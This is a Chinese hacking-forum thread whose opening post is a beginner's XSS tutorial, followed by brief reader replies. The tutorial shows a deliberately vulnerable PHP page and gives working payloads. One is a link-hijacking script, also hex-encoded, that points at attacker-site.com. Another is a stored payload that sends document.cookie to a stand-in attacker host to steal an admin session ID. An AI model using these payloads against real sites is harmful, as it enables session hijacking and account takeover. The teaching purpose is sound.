请选择 进入手机版 | 继续访问电脑版
查看: 1916|回复: 66

XSS攻击入门(带XSS资源)

  [复制链接]
  • TA的每日心情
    开心
    2017-2-12 13:49
  • 签到天数: 101 天

    [LV.6]常住居民II

    发表于 2016-7-8 13:04:10 | 显示全部楼层 |阅读模式
    本帖最后由 iCole 于 2016-7-10 19:08 编辑

    前言:
    xss攻击手法》一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。

    我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:

    1、耗时间
    2、有一定几率不成功
    3、没有相应的软件来完成自动化攻击
    4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
    5、是一种被动的攻击手法
    6、对website有http-only、crossdomian.xml没有用
    但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个

    Xss几乎每个网站都存在,google、baidu、360等都存在。
    ————————————

    xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
    xss攻击可以分成两种类型:
    非持久型攻击
    持久型攻击
    下面我们通过具体例子,了解两种类型xss攻击。

    1.非持久型xss攻击

    顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
    假设有以下index.php页面:

    <?php
    $name = $_GET['name'];
    echo "Welcome $name<br>";
    echo "<a >Click to Download</a>";
    ?>

    该页面显示两行信息:
    从URI获取 'name' 参数,并在页面显示
    显示跳转到一条URL的链接
    这时,当攻击者给出以下URL链接:

    index.php?name=guest<script>alert('attacked')</script>

    当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:

    Welcome guest
    <script>alert('attacked')</script>
    <br>
    <a >Click to Download</a>


    除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:

    index.php?name=
    <script>
    window.onload = function() {
    var link=document.getElementsByTagName("a");link[0].;}
    </script>

    当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:

    Welcome
    <script>
    window.onload = function() {
    var link=document.getElementsByTagName("a");link[0].;}
    </script>
    <br>
    <a >Click to Download</a>

    用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。

    对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:

    index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e


    2.持久型xss攻击

    持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

    session背景知识

    我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
    这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。

    攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。

    现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。
    View Code

    另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。
    View Code

    注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。

    首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

    <a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>


    攻击者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 "bangerlee" 的用户列表将显示,如果 admin 用户点击 "bangerlee" 时,在 "attacker-site.com" 所在的服务器上,攻击者就可以窃取到 admin 的session-id:

    xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

    有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

    当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。
    [size=5
    游客,如果您要查看本帖隐藏内容请回复
    ]附上乌云xss文章集和红盟xss公开课
    回复可见资源

    评分

    参与人数 3i币 +13 收起 理由
    kllay + 5 感谢分享
    邪影复仇 + 5 感谢分享
    dreams + 3 感谢分享,

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    昨天 22:45
  • 签到天数: 340 天

    [LV.8]以坛为家I

    发表于 2016-7-8 15:31:36 | 显示全部楼层
    回复见资源!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    3 天前
  • 签到天数: 345 天

    [LV.8]以坛为家I

    发表于 2016-7-8 20:43:03 | 显示全部楼层

    RE: XSS攻击入门

    回复见资源!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-6-11 09:33
  • 签到天数: 316 天

    [LV.8]以坛为家I

    发表于 2016-7-8 21:23:06 | 显示全部楼层
    不错啊、看一下
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    前天 13:12
  • 签到天数: 337 天

    [LV.8]以坛为家I

    发表于 2016-7-9 10:12:49 | 显示全部楼层
    不错,谢谢分享!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-6-6 17:06
  • 签到天数: 314 天

    [LV.8]以坛为家I

    发表于 2016-7-9 13:39:01 | 显示全部楼层

    RE: XSS攻击入门

    xss现在已经很成熟了,不过防御却很菜
    回复 支持 0 反对 1

    使用道具 举报

  • TA的每日心情
    开心
    2016-10-15 13:47
  • 签到天数: 41 天

    [LV.5]常住居民I

    发表于 2016-7-9 21:03:44 | 显示全部楼层
    瞅瞅,看看资源。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-9-5 00:40
  • 签到天数: 51 天

    [LV.5]常住居民I

    发表于 2016-7-10 00:05:30 | 显示全部楼层

    RE: XSS攻击入门

    回复可见资源
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-5-31 10:36
  • 签到天数: 176 天

    [LV.7]常住居民III

    发表于 2016-7-10 15:45:27 | 显示全部楼层
    顶楼主啦..希望楼主多发精品好帖啦.....

    点评

    恩恩,互相学习了。。  详情 回复 发表于 2016-7-10 16:05
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-2-12 13:49
  • 签到天数: 101 天

    [LV.6]常住居民II

     楼主 发表于 2016-7-10 16:05:21 | 显示全部楼层

    RE: XSS攻击入门

    邪影复仇 发表于 2016-7-10 15:45
    顶楼主啦..希望楼主多发精品好帖啦.....

    恩恩,互相学习了。。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表